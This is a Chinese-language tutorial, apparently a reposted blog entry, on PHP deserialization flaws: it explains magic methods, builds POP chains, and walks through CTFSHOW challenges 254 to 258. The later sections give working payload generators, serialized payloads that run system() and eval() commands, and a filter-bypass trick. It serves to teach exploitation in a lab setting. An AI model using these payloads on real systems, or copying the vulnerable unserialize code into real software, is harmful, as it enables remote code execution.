WEB攻防-第60天:PHP反序列化POP链构造魔术方法流程漏洞触发条件属性修改

news2025/2/18 23:00:55

目录

一、序列化与反序列化基础

1.1  什么是序列化与反序列化

二、魔术方法的生命周期

2.1  常见的魔术方法

2.2  模式方法的生命周期触发调用

2.2.1   __construct()

2.2.2   __destruct()

2.2.3   __sleep() 

 2.2.4   __wakeup()

2.2.5   __invoke()

2.2.6   __toString()

2.2.7   __call()

2.2.8   __callStatic()

2.2.9   __get()

2.2.10   __set()

2.2.11   __isset()

2.2.12   __unset()

2.2.13   __set_state()

2.2.14   __clone()

2.2.15   __autoload()

2.2.16   __debugInfo()

三、反序列化漏洞原理剖析

3.1  漏洞产生原理

3.2  简单案例

四、POP链

4.1  原理

4.2  典型场景

4.3  构造步骤

4.4  POP链三大核心要素

4.4.1  反序列化入口(起点)

4.4.2  危险方法(终点)

4.4.3  连接桥梁(链路)

4.4.4  POP链构造案例 

五、CTFSHOW题目

5.1  Web入门254-对象引用执行逻辑

5.2  Web入门255-反序列化变量修改

5.3  Web入门256-反序列化参数修改

5.4  Web入门257-反序列化参数修改&对象调用逻辑

5.5  Web入门258-反序列化参数修改&对象调用逻辑&正则 


一、序列化与反序列化基础

1.1  什么是序列化与反序列化

序列化是将对象转换为可存储/传输格式(字符串/字节流)的过程,反序列化则是将序列化后的数据还原为对象的过程。

这种机制常见于:

  • PHP:serialize()/unserialize()

  • Java:ObjectOutputStream/ObjectInputStream

  • Python:pickle模块

// PHP序列化示例
class User {
    public $name = "Alice";
    private $age = 20;
}

$obj = new User();
$ser = serialize($obj); 
// 输出:O:4:"User":2:{s:4:"name";s:5:"Alice";s:10:"Userage";i:20;}

$unser = unserialize($ser);  // 还原为User对象

序列化serialize():对象转换为数组或字符串等格式  

反序列化unserialize():将数组或字符串等格式转换成对象

在 PHP 中,serialize()函数仅对对象属性进行序列化,而不处理对象方法。它把对象属性转为字符串存入序列化结果,方便对象在文件存储、网络传输或不同请求间传递。因为方法定义在类中,类是对象模板,反序列化时 PHP 依据类重建对象并填充属性值,方法与类关联,无需序列化存储。另外,使用unserialize()反序列化时,必须提前定义好被反序列化对象所属的类,否则会报错 。

二、魔术方法的生命周期

2.1  常见的魔术方法

__construct(): //当对象new的时候会自动调用

__destruct()://当对象被销毁时会被自动调用

__sleep(): //serialize()执行时被自动调用

__wakeup(): //unserialize()时会被自动调用

__invoke(): //当尝试以调用函数的方法调用一个对象时会被自动调用

__toString(): //把类当作字符串使用时触发

call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用call函数。

__callStatic(): //在静态上下文中调用不可访问的方法时触发

get(): //读取对象属性时,若存在,则返回属性值;若不存在,则会调用get函数

set(): //设置对象的属性时,若属性存在,则赋值;若不存在,则调用set函数。

__isset(): //在不可访问的属性上调用isset()或empty()触发

__unset(): //在不可访问的属性上使用unset()时触发

_setstate(),调用var_export()导出类时,此静态方法会被调用

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息

2.2  模式方法的生命周期触发调用

前置知识_语法解释:

  1. 双冒号(::):在 PHP 中,双冒号被称为范围解析操作符(Scope Resolution Operator,简称 SRO)。它主要用于访问类的静态成员(属性和方法),以及在子类中访问父类的成员。例如Example::__set_state($array); ,这里Example是类名,__set_state是类的静态方法,通过双冒号可以在类外部直接调用静态方法,而不需要先实例化类。静态方法和属性属于类本身,而不是类的某个实例,所以使用双冒号来明确是对类进行操作,而不是对类的对象进行操作。
  2. new关键字:用于创建类的实例(对象)。如$obj = new Example();,它会根据Example类的定义在内存中分配空间,创建一个Example类的对象,并将其赋值给变量$obj 。在创建对象的过程中,如果类中有__construct方法,会自动调用该方法进行初始化。
  3. unset()函数:用于销毁指定的变量。当作用于对象时,会触发对象的__destruct方法。例如unset($obj);,它会释放$obj变量所占用的内存空间,同时调用$obj所属类的__destruct方法,在该方法中可以进行一些清理工作,如关闭文件、释放数据库连接等。
  4. serialize()unserialize()函数:serialize()函数将 PHP 中的变量(如对象、数组等)转换为一个字符串,以便于存储或传输;unserialize()函数则是将序列化后的字符串还原为原来的变量。在序列化和反序列化对象时,会分别触发__sleep和__wakeup魔术方法。
  5. 对象调用方法的语法:$obj->methodName($args); 是 PHP 中调用对象方法的标准语法。$obj是类的实例(对象),methodName是对象的方法名,$args是传递给方法的参数(可以是多个参数,用逗号分隔)。如果调用的方法不存在,会触发__call魔术方法。而对于静态方法,调用语法为ClassName::methodName($args); ,如果静态方法不存在,会触发__callStatic魔术方法。
  6. isset()empty()函数:isset()函数用于检测变量是否已设置并且非NULL ,empty()函数用于检查一个变量是否为空(即""、0、"0"、NULL、FALSE、array() 以及声明但未赋值的变量都会被认为是空)。当对对象中不可访问的属性使用这两个函数时,会触发__isset魔术方法。
  7. var_dump()函数:用于输出变量的相关信息,包括变量的类型和值。当对对象使用var_dump()时,如果对象定义了__debugInfo方法,会调用该方法获取用于调试的信息并输出。.
  8. 中文乱码问题:加上header("Content-type: text/html; charset=utf-8");设置HTTP响应的头部信息,告诉浏览器当前输出的内容类型是HTML文档,并且字符集编码为UTF-8。

2.2.1   __construct()

__construct(): //构造函数,当对象new的时候会自动调用,即创建对象时调用,通常用作初始化参

<?php

header("Content-type: text/html; charset=utf-8");

class Example {
    public function __construct() {
        echo "__construct 方法被调用<br>";
    }
}

$obj = new Example();

2.2.2   __destruct()

__destruct()://析构函数,当对象被销毁时会被自动调用,主动unset销毁或者程序结束自动销毁都会触发

class Example {
    public function __destruct() {
        echo "__destruct 方法被调用<br>";
    }
}

$obj = new Example();
unset($obj); // 手动销毁对象,触发 __destruct 方法

2.2.3   __sleep() 

执行serialize函数时,__sleep方法被调用,返回需要序列化的属性数组。

class Example {
    public $data = "Hello, World!";
    public function __sleep() {
        echo "__sleep 方法被调用<br>";
        return array('data');
    }
}

$obj = new Example();
serialize($obj);

 2.2.4   __wakeup()

在unserialize时,__wakeup方法被调用,对反序列化后的对象进行初始化操作。

class Example {
    public $data;
    public function __wakeup() {
        echo "__wakeup 方法被调用<br>";
        $this->data = "初始化数据";
    }
}

$serialized = serialize(new Example());
$obj = unserialize($serialized);

2.2.5   __invoke()

当把对象当作函数调用时,__invoke方法被触发。

class Example {
    public function __invoke() {
        echo "__invoke 方法被调用<br>";
    }
}

$obj = new Example();
$obj(); // 像调用函数一样调用对象,触发 __invoke 方法

2.2.6   __toString()

在将对象当作字符串使用,如echo时,__toString方法被调用。

class Example {
    public $data = "测试数据";
    public function __toString() {
        echo "__toString 方法被调用<br>";
        return $this->data;
    }
}

$obj = new Example();
echo $obj;

2.2.7   __call()

当调用对象中不存在的方法时,__call方法被触发。

class Example {
    public function __call($method, $args) {
        echo "__call 方法被调用,调用的方法是:$method,参数是:". implode(', ', $args). "<br>";
    }
}

$obj = new Example();
$obj->nonexistentMethod('arg1', 'arg2'); // 调用不存在的方法,触发 __call 方法

2.2.8   __callStatic()

在静态上下文中调用不存在的方法时,__callStatic方法被触发。

class Example {
    public static function __callStatic($method, $args) {
        echo "__callStatic 方法被调用,调用的静态方法是:$method,参数是:". implode(', ', $args). "<br>";
    }
}

Example::nonexistentStaticMethod('arg1', 'arg2'); // 调用不存在的静态方法,触发 __callStatic 方法

2.2.9   __get()

当读取对象中不存在或不可访问的属性时,__get方法被调用。

class Example {
    private $hiddenData = "隐藏数据";
    public function __get($name) {
        echo "__get 方法被调用,获取的属性是:$name<br>";
        if ($name === 'hiddenData') {
            return $this->$name;
        }
    }
}

$obj = new Example();
echo $obj->hiddenData;

2.2.10   __set()

当设置对象中不存在或不可访问的属性时,__set方法被调用。

class Example {
    private $hiddenData;
    public function __set($name, $value) {
        echo "__set 方法被调用,设置的属性是:$name,值是:$value<br>";
        if ($name === 'hiddenData') {
            $this->$name = $value;
        }
    }
}

$obj = new Example();
$obj->hiddenData = "新值";

2.2.11   __isset()

在对不可访问的属性调用isset或empty时,__isset方法被触发。

class Example {
    private $hiddenData = "隐藏数据";
    public function __isset($name) {
        echo "__isset 方法被调用,检测的属性是:$name<br>";
        if ($name === 'hiddenData') {
            return isset($this->$name);
        }
    }
}

$obj = new Example();
isset($obj->hiddenData);

2.2.12   __unset()

在对不可访问的属性使用unset时,__unset方法被触发。

class Example {
    private $hiddenData = "隐藏数据";
    public function __unset($name) {
        echo "__unset 方法被调用,删除的属性是:$name<br>";
        if ($name === 'hiddenData') {
            unset($this->$name);
        }
    }
}

$obj = new Example();
unset($obj->hiddenData);

2.2.13   __set_state()

调用var_export导出类并使用__set_state还原时,__set_state方法被调用。

class Example {
    public $data;
    public static function __set_state($array) {
        echo "__set_state 方法被调用<br>";
        $obj = new self();
        $obj->data = $array['data'];
        return $obj;
    }
}

$array = ['data' => '测试数据'];
$obj = Example::__set_state($array);

2.2.14   __clone()

当对象被复制时,__clone方法被调用。

class Example {
    public $data = "原始数据";
    public function __clone() {
        echo "__clone 方法被调用<br>";
        $this->data = "克隆后的数据";
    }
}

$obj = new Example();
$cloneObj = clone $obj;

2.2.15   __autoload()

当尝试加载未定义的类时,__autoload方法被调用。

// 自动加载函数示例,实际应用中路径需根据项目结构调整
function __autoload($class) {
    echo "__autoload 方法被调用,加载的类是:$class<br>";
    require_once $class. '.php';
}

$obj = new NonexistentClass(); // 假设 NonexistentClass 类未定义,触发 __autoload 方法

2.2.16   __debugInfo()

在打印对象调试信息,如使用var_dump时,__debugInfo方法被调用。

class Example {
    private $data = "调试数据";
    public function __debugInfo() {
        echo "__debugInfo 方法被调用<br>";
        return ['data' => $this->data];
    }
}

$obj = new Example();
var_dump($obj);

三、反序列化漏洞原理剖析

3.1  漏洞产生原理

  • 未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。
  • 在反序列化的过程中自动触发了某些魔术方法。
  • 当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

3.2  简单案例

<?php
 
class B{
    public $cmd='ipconfig';
    public function __destruct(){
        system($this->cmd);
    }
}
//函数引用,无对象创建触发魔术方法
unserialize($_GET['x']);
 
?>

在这段代码中, 可以看到,当这个类的对象被销毁时,__destruct方法就会自动执行。这里__destruct方法里用system函数执行$cmd里的命令。

虽然这里没有创建对象,但是对GTE['x']反序列化,所以我们自己可以构造一个序列化的对象传进来。可以想象成我们创建一个对象,传给他,等于在这段代码new了一个对象,代码执行完,也会销毁我们传进来的对象,进而触发__destruct方法

怎么构造呢?

上面已经说过,序列化函数仅对对象属性进行序列化,所以这里只需要考虑成员属性(变量)即可

<?php
 
class B{
    public $cmd = 'ver';
    }
 
$x = new B();
echo serialize($x);
 
?>

得到序列化 之后的值

构造 paylaod:?x=O:1:"B":1:{s:3:"cmd";s:3:"ver";}

这里的乱码是因为cmd 一般默认是GBK,而我们header设置了utf-8

四、POP链

4.1  原理

POP(Property-Oriented Programming),即面向属性编程,看起来很复杂,确实很复杂,是反序列化漏洞利用中的核心技术。其核心思想是通过控制对象的属性值,引导程序执行流经过多个类的方法调用,最终触发危险操作(如代码执行、文件读写等)。

在 PHP 中,反序列化过程会自动触发一些魔术方法,如__wakeup()__destruct()等。同时,对象的属性值可以在反序列化时被攻击者控制。攻击者利用这些特性,通过构造包含特定属性值的序列化字符串,使得反序列化后的对象在执行过程中依次调用一系列方法,最终调用到能够执行危险操作的方法。

4.2  典型场景

  • 目标代码中没有直接在魔术方法中的危险操作

  • 危险代码分布在多个普通类的方法中

  • 需要通过属性连接多个类的方法调用

4.3  构造步骤

  1. 寻找危险函数:在目标代码中找出可能导致安全问题的函数,如system()(执行系统命令)、eval()(执行 PHP 代码)等。
  2. 分析类和方法:查看代码中定义的类和方法,特别是魔术方法和可能被调用的普通方法,找到能够调用危险函数的方法。
  3. 构建调用链:将不同类的方法和属性关联起来,形成一条从反序列化触发的魔术方法开始,最终调用到危险函数的调用链。
  4. 构造序列化数据:根据构建好的调用链,创建相应的对象,并将对象的属性设置为合适的值,然后将对象序列化,得到恶意的序列化字符串。

4.4  POP链三大核心要素

4.4.1  反序列化入口(起点)

  • 触发点unserialize()函数

  • 触发条件:反序列化后的对象会触发某些魔术方法

    // 常见触发点
    __destruct()  // 对象销毁时触发
    __wakeup()    // 反序列化完成后触发
    __toString()  // 对象被当作字符串使用时触发

4.4.2  危险方法(终点)

  • 包含可被利用的关键操作:

    eval()、system()       // 代码执行
    file_put_contents()   // 文件写入
    unserialize()         // 二次反序列化

4.4.3  连接桥梁(链路)

  • 通过对象属性连接多个方法调用:

    graph LR
    A[__destruct] -->|调用| B[ClassA->method1()]
    B -->|属性传递| C[ClassB->method2()]
    C -->|属性传递| D[ClassC->dangerMethod()]

4.4.4  POP链构造案例 

下面举一个简单的案例,也是理想情况下服务端存在中间类,注意这里方便测试理解,使用的都是public属性,一般使用的都是私有属性

<?php
// 服务端代码
class Logger {
    public $handler; // 修改为public以便更容易测试,但在实际场景中应保持private并添加适当的setter

    public function __construct() {
        $this->handler =  new FileHandler();
    }

    public function __destruct() {
        $this->handler->log(); // 触发点
    }
}

class FileHandler {
    public $filename = 'log.txt';
    public function log() {
        echo $filename;
    }
}

class Exploit {
    public $rce;

    public function log() {
        $this->rce->execute();
    }
}

class RCE {
    public $cmd;

    public function execute() {
        system($this->cmd);
    }
}

// 客户端输入处理
$data = $_GET['payload'];
unserialize($data);
?>

 攻击目标

通过反序列化触发RCE::execute()执行任意命令(如ver)。

POP链构造分析

步骤1:寻找调用路径

  1. 起点Logger::__destruct()必须调用log()方法

  2. 终点RCE::execute()需要被触发

  3. 缺失的桥梁:需要一个中间类将log()execute()连接
    需要把$this->handler->log();换成$this->handler->RCE::execute();

class Exploit {
    public $rce;

    public function log() {
        $this->rce->execute();
    }
}

可以看到Exploit中基调用了log方法,也调用execute方法,其实他就是中间桥梁

可以想象一下,$rce这个属性指向的是RCE对象,是不是调用的就是RCE对象下的execute方法

而Logger 因为__desturct方法必然会调用log,这就可以形成一个完整的调用链了

步骤2:逆推调用路径

1.把上面分析要用到的类和属性拷贝一份,也就是需要执行execute的终点类RCE,中间类Exploit,起点类Logger

<?php
class RCE {
    public $cmd;
}

class Exploit {
    public $rce;
}

class Logger {
    public $handler;
}

2.逆推调用关系

  • 首先从终点逆推,所以先创建一个RCE对象,并设置需要执行的命令,此时服务器反序列化就会得到一个cmd=‘ver’的对象
  • 根据上面分析我们知道Exploit是一个中间桥梁,$rce这个属性指向的是RCE对象,是不是调用的就是RCE对象下的execute方法,所以创建Exploit的对象,然后把$rce指向上面创建带有恶意代码执行的RCE对象
  • 最后Logger的$this->handler再指向Exploit对象,就形成了完整的调用链,把Logger序列化就得到了payload

完整调用链:

代码结束触发:Logger->handler->log

Logger->handler指向Exploit对象

调用Exploit对象的log方法

Exploit对象的log方法调用rce->execute

而rce执行的是RCE对象

最终调用RCE对象的execute方法

 套娃......

$rce = new RCE();
$rce->cmd = 'ver';

$exploit = new Exploit();
$exploit->rce = $rce;

$logger = new Logger();
$logger->handler = $exploit;

$payload = serialize($logger);
echo $payload;

完整POP链代码

<?php
class RCE {
    public $cmd = 'ver';
}

class Exploit {
    public $rce;
}

class Logger {
    public $handler;
}

$rce = new RCE();
$exploit = new Exploit();
$exploit->rce = $rce;

$logger = new Logger();
$logger->handler = $exploit;

$payload = serialize($logger);
echo $payload;
?>

payload:?payload=O:6:"Logger":1:{s:7:"handler";O:7:"Exploit":1:{s:3:"rce";O:3:"RCE":1:{s:3:"cmd";s:3:"ver";}}}

 大概就是这么个情况,下面ctfshow进一步了解下

五、CTFSHOW题目

5.1  Web入门254-对象引用执行逻辑

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

我个人习惯 从执行代码去链接调用的函数去分析

  1. 首先判断了是否传入username和password,有才进入if,所以password和username一定要传值
  2. $user是一个ctfShowUser对象
  3. 判断user对象下的login方法,这个时候去看login方法的逻辑,检查传入的username和password是否和定义的xxxxxx一致,如果一致让isVip等于ture
  4. 然后判断isVip等于ture就执行user下的vipOneKeyGetFlag,在这个方法中也是判断isVip等于ture就输出flag
  5. 根据3,就可以知道只需要传入username和password,并等于xxxxxx就可以让isVip等于ture

这道题没有涉及序列化,应该是让大家了解调用链的

5.2  Web入门255-反序列化变量修改

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}
  1. 可以看到 同样是需要传入username和password,通过cookie接收user并反序列化,注意cookie传入对象序列化需要URL编码,unserialize($_COOKIE['user']); 
  2. login的登录逻辑也是判断username和password等于xxxxxx
  3. 然后检查checkVip,但checkVip直接返回isVip,也就是初始值flase,所以需要让其等于true才可以调用vipOneKeyGetFlag获取flag
  4. 所以直接序列化操作属性即可

同样的把关键类和属性拷贝,然后修改属性,序列化,然后url编码就行

<?php
class ctfShowUser{
    public $isVip=true;
}

$c = new ctfShowUser();

echo urlencode(serialize($c));

 未编码:O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}

url编码后:O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

5.3  Web入门256-反序列化参数修改

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

和上一关没太大区别,就是修改username和password不相等就行

<?php
class ctfShowUser{
    public $username='test';
    public $password='testtest';
    public $isVip=true; 
}

$c = new ctfShowUser();

echo urlencode(serialize($c));

 payload:O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22test%22%3Bs%3A8%3A%22password%22%3Bs%3A8%3A%22testtest%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

不知道为啥hackbar穿不了cookie,但是上一题可以,知道的可以告诉我 

5.4  Web入门257-反序列化参数修改&对象调用逻辑

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

如果理解上面pop链的内容的话,这道题应该是易如反掌,因为原理是一样的,把执行的代码写入backDoor对象,然后把info对象换成backDoor对象就可以了

<?php
class ctfShowUser{
    public $class = 'backDoor';
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    public $code='system("tac flag.php");';
    
}
$c = new ctfShowUser();
echo urlencode(serialize($c));
?>

可能有人会疑问,序列化不是不能处理方法吗,这个构造函数是特殊方法,在new的时候就执行了,这里主要是为了给$class赋值的,也可以不这么写,直接new了之后复制,如:


<?php
class ctfShowUser{
    public $class;
}
class backDoor{
    public $code='system("tac flag.php");';
    
}
$c = new ctfShowUser();
$c->class = new backDoor();
echo urlencode(serialize($c));
?>

通过构造函数生成的:

O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:23:"system("tac+flag.php");";}}

直接赋值生成的:

O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:23:"system("tac+flag.php");";}}

可以看到是一样的

5.5  Web入门258-反序列化参数修改&对象调用逻辑&正则 

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}



和上一题一样,只是过滤了O: 后面不能直接跟数字,我们可以给数字前面写个+,代表有符合正11,并没改变原意

上一题的payload:O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:23:"system("tac+flag.php");";}}

修改后

O:+11:"ctfShowUser":1:{s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:23:"system("tac+flag.php");";}}

代码如下:把O:替换为O:+即可


<?php
class ctfShowUser{
    public $class;
}
class backDoor{
    public $code='system("tac flag.php");';
    
}
$c = new ctfShowUser();
$c->class = new backDoor();
$payload = serialize($c);
$payload = str_replace('O:', 'O:+', $payload);
echo urlencode($payload);
?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2299036.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

二、交换机的vlan子设备接入

一、交换机的vlan设置-CSDN博客 二、交换机的vlan子设备接入-CSDN博客 接上篇的文章&#xff0c;本文接入了子设备 网络结构如下&#xff1a; 用路由器A和POE交换机B代替第一篇中的笔记本电脑&#xff0c;路由器A和交换机B都关闭DHCP服务&#xff0c;并分别接入一个IPC&#…

Spring IoC的实现机制是什么?

大家好&#xff0c;我是锋哥。今天分享关于【Spring IoC的实现机制是什么&#xff1f;】面试题。希望对大家有帮助&#xff1b; Spring IoC的实现机制是什么&#xff1f; 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 Spring IoC&#xff08;Inversion of Control…

配置mysql8.0使用PXC实现高可用。

准备好下面三台服务器 cat >> /etc/hosts << EOF 192.168.1.11 pxc1 192.168.1.12 pxc2 192.168.1.13 pxc3 EOF 三台服务器同时进行&#xff0c;下载安装包 [rootlocalhost ~]#yum module disable mysql [rootlocalhost ~]#yum ins…

对openharmony HDF驱动框架的C/S设计模式和单例类的说明

在分析openharmony的HDF驱动框架时我们会发现用了很多面向对象的思想&#xff0c;例如类继承、接口、单例类等&#xff0c;本来应该是好事情&#xff0c;**但使用时对象之间的关系交错复杂&#xff0c;不太符合linux内核分层分模块的思路&#xff0c;导致整体理解起来比较困难&…

vue学习10

1.GPT和Copilot Copilot Tab接受 删除键&#xff0c;不接受 ctrlenter更多方案 更适合的是修改方向 const submitForm async () > {//等待校验结果await formRef.value.validate()//提交修改await userUpdateInfoService(form.value)//通知user模块&#xff0c;进行数据更…

如何正确安装Stable Diffusion Web UI以及对应的xFormers

本文是我总结的步骤&#xff0c;验证了几次保证是对的。因为正确的安装 Stable Diffusion Web UI 以及对应的 xFormers 实在是太麻烦了&#xff0c;官方和网上的步骤都是残缺和分散的&#xff0c;加上国内网络速度不理想&#xff0c;所以需要一些额外步骤&#xff0c;之前研究出…

DeepSeek正重构具身大模型和人形机器人赛道!

中国人工智能公司DeepSeek&#xff08;深度求索&#xff09;以“低成本、高效率、强开放”的研发范式横空出世&#xff0c;火遍并震撼全球科技圈&#xff1b;DeepSeek展现出来的核心竞争力&#xff0c;除了低成本及推理能力&#xff0c;更重要的是开源模型能力追赶上了最新的闭…

Linux库制作与原理:【静态库】【动态库】【目标文件】【ELF文件】【ELF从形成到假造轮廓】【理解链接和加载】

目录 一.什么是库 二.静态库 2.1创建静态库 我们在之前的路径下新建lib使用我们自己的库 2.2 使用makefile生成静态库 三.动态库 3.1动态库生成 3.2动态库使用 3.3库运行搜索路径 四.目标文件 五.ELF文件 六.ELF从形成到加载轮廓 6.1ELF形成可执行 6.2 ELF可执行文…

【ubuntu24.04】 强制重启导致大模型的磁盘挂载出错

挂载NTFS文件系统出错 各种模型放在了这个机械硬盘上&#xff0c;虽然速度慢&#xff0c;但是好在容量大。大模型在工作&#xff0c;但是程序看起来有问题&#xff0c;导致系统卡死了&#xff0c;然后我重启了&#xff0c;然后报错&#xff1a;wrong fs type bad option &…

Spring Boot(8)深入理解 @Autowired 注解:使用场景与实战示例

搞个引言 在 Spring 框架的开发中&#xff0c;依赖注入&#xff08;Dependency Injection&#xff0c;简称 DI&#xff09;是它的一个核心特性&#xff0c;它能够让代码更加模块化、可测试&#xff0c;并且易于维护。而 Autowired 注解作为 Spring 实现依赖注入的关键工具&…

【linux】在 Linux 服务器上部署 DeepSeek-r1:70b 并通过 Windows 远程可视化使用

【linux】在 Linux 服务器上部署 DeepSeek-r1:70b 并通过 Windows 远程可视化使用 【承接商业广告,如需商业合作请+v17740568442】 文章目录 【linux】在 Linux 服务器上部署 DeepSeek-r1:70b 并通过 Windows 远程可视化使用个人配置详情一、安装ollama二、下载deepseek版本…

【AI大模型】Ollama部署本地大模型DeepSeek-R1,交互界面Open-WebUI,RagFlow构建私有知识库

文章目录 DeepSeek介绍公司背景核心技术产品与服务应用场景优势与特点访问与体验各个DeepSeek-R系列模型的硬件需求和适用场景 Ollama主要特点优势应用场景安装和使用配置环境变量总结 安装open-webui下载和安装docker desktop配置镜像源安装open-webui运行和使用 RagFlow介绍主…

Unity 命令行设置运行在指定的显卡上

设置运行在指定的显卡上 -force-device-index

Visual Studio 使用 “Ctrl + /”键设置注释和取消注释

问题&#xff1a;在默认的Visual Studio中&#xff0c;选择单行代码后&#xff0c;按下Ctrl /键会将代码注释掉&#xff0c;但再次按下Ctrl /键时&#xff0c;会进行双重注释&#xff0c;这不是我们想要的。 实现效果&#xff1a;当按下Ctrl /键会将代码注释掉&#xff0c;…

教程:使用 Vue 3 和 arco 实现表格合并

1. 功能概述 本教程将介绍如何使用 Vue 3 和 arco 组件库实现表格合并功能。具体来说&#xff0c;我们会根据表格数据中的某个字段&#xff08;如 type&#xff09;对表格的某一列&#xff08;如入库类型列&#xff09;进行合并&#xff0c;同时将质检说明列合并为一列。 2. …

uniapp - iconfont下载本地并且运用至项目上

1、项目中创建一个文件夹放置iconfont相关文件&#xff0c;例如src/assets/iconfont&#xff08;名称自己定义&#xff09; 2、在iconfont下载项目至本地 3、解压后把文件复制进1的文件夹中 4、修改src/assets/iconfont - iconfont.css里的font-face的src地址&#xff0c;修…

【前端】自己从头实现一个gpt聊天页面

预览 最小化功能点 主界面&#xff1a;侧边栏会话历史、聊天窗口发送和断开。侧边栏&#xff1a;展示会话列表&#xff0c;每个会话包含多条聊天记录&#xff0c; 通过localstorage本地储存和恢复&#xff0c;会话需要重命名和删除。聊天框&#xff1a;区分一下发送者和回答者…

数据结构——二叉树(2025.2.12)

